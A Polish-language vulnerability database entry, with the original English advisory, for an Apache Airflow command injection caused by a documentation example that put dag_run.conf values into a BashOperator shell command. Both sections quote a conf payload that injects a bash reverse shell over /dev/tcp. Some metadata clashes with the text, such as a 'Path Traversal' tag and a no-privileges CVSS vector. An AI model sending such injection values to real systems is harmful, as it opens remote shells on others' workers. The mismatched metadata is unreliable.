CRITICAL🇬🇧 English

CVE-2026-42252

Apache Airflow: command injection przez niebezpieczny wzorzec w dokumentacji BashOperator

CVSS 9.1pub. 2026-06-01upd. 2026-06-02

Oficjalna dokumentacja Apache Airflow zawierała przykład użycia BashOperator bez ostrzeżenia o konieczności sanityzacji danych wejściowych, co prowadziło do podatności na command injection. Autorzy DAG-ów kopiujący ten wzorzec dosłownie narażali swoje środowiska na zdalne wykonanie poleceń przez uwierzytelnionych użytkowników z uprawnieniem do wyzwalania DAG-ów.

Pokaż oryginał (EN)

Apache Airflow's official documentation at `core-concepts/dag-run.html` ("Passing Parameters when triggering Dags") showed a verbatim `BashOperator(bash_command="echo value: {{ dag_run.conf['conf1'] }}")` example without any quoting / sanitization warning. Dag authors who copied the pattern verbatim into deployments where users had `Dag.can_trigger` permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be exposed to shell-metacharacter injection via the `conf` field of the trigger API: an authenticated trigger user could supply `"; bash -i >& /dev/tcp/.../9999 0>&1; #"` as a `conf` value and reach an `os.exec` on the worker. This CVE covers the documentation correction in `apache/airflow` PR 64129 — the pattern in the docs example now includes explicit shell-quoting and a safety caveat. Affects deployments whose Dag code was modeled on the pre-correction docs example. Same class as the prior CVE-2025-50213 and CVE-2025-27018 documentation-pattern fixes. Users are advised to upgrade to `apache-airflow` 3.2.2 or later to pick up the corrected documentation shipped with the release.

🤖 Analiza AI
Jak działa

Przykład w dokumentacji pokazywał konstrukcję `BashOperator(bash_command="echo value: {{ dag_run.conf['conf1'] }}")` bez żadnego cytowania powłoki ani ostrzeżenia bezpieczeństwa. Użytkownik posiadający uprawnienie `Dag.can_trigger` na podatnym DAG-u mógł przekazać złośliwą wartość pola `conf` w API wyzwalającym DAG, np. `"; bash -i >& /dev/tcp/.../9999 0>&1; #"`. Wartość ta trafiała bezpośrednio do polecenia powłoki wykonywanego przez workera, co umożliwiało wstrzyknięcie metaznaków powłoki i osiągnięcie wywołania `os.exec`. Podatność wymagała uwierzytelnienia, ale typowe środowiska wielozespołowe i hostowane usługi udostępniające trigger API czyniły ją realnym zagrożeniem.

Skutki

Uwierzytelniony atakujący z uprawnieniem do wyzwalania DAG-u może uzyskać zdalne wykonanie kodu (RCE) na węźle roboczym (worker) Apache Airflow, potencjalnie przejmując kontrolę nad procesami workera oraz uzyskując dostęp do przetwarzanych danych i środowiska wykonawczego.

Mitygacja

Należy zaktualizować Apache Airflow do wersji 3.2.2 lub nowszej, w której dostarczona jest poprawiona dokumentacja zawierająca jawne cytowanie powłoki oraz ostrzeżenie bezpieczeństwa. Dodatkowo należy przejrzeć istniejący kod DAG-ów i zastąpić wzorzec `{{ dag_run.conf['...'] }}` w argumentach BashOperator wersją z poprawnym cytowaniem powłoki lub zastosować mechanizm przekazywania wartości przez zmienne środowiskowe zamiast interpolacji szablonów bezpośrednio w poleceniu.

Kogo dotyczy

Wdrożenia Apache Airflow, w których kod DAG-ów był wzorowany na przykładzie z dokumentacji sprzed korekty (PR 64129) — dotyczy w szczególności środowisk wielozespołowych i hostowanych, gdzie użytkownicy posiadają uprawnienie `Dag.can_trigger`; zgodnie z opisem zalecana jest aktualizacja do wersji apache-airflow 3.2.2 lub nowszej

Uwagi

Podatność dotyczy korekty w dokumentacji (PR apache/airflow#64129), a nie bezpośrednio kodu biblioteki. Jest klasyfikowana jako ten sam rodzaj problemu co CVE-2025-50213 i CVE-2025-27018, będące wcześniejszymi poprawkami niebezpiecznych wzorców w dokumentacji Apache Airflow.

CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
  • Apache Airflow

    APP
    Apache
    3.0.0 – 3.2.2 (bez)
🔵
ZWERYFIKUJ U PRODUCENTA
Brak jednoznacznych danych o patchu. Sprawdź referencje od producenta.
Tagi
Path Traversal
CWE
Referencje

Powiązane podatności

CVE-2020-13927CRITICAL9.8⚠ KEVten sam produkt

The previous default setting for Airflow's Experimental API was to allow all API requests without authenticati...

CVE-2025-57735CRITICAL9.1PL ✓ten sam produkt

Apache Airflow: brak unieważnienia tokenu JWT po wylogowaniu

CVE-2024-42447CRITICAL9.8PL ✓ten sam produkt

Apache Airflow Providers FAB — nieprawidłowe wygasanie sesji (CWE-613)

CVE-2023-25754CRITICAL9.8ten sam produkt

Privilege Context Switching Error vulnerability in Apache Software Foundation Apache Airflow.This issue affect...

CVE-2023-22884CRITICAL9.8ten sam produkt

Improper Neutralization of Special Elements used in a Command ('Command Injection') vulnerability in Apache So...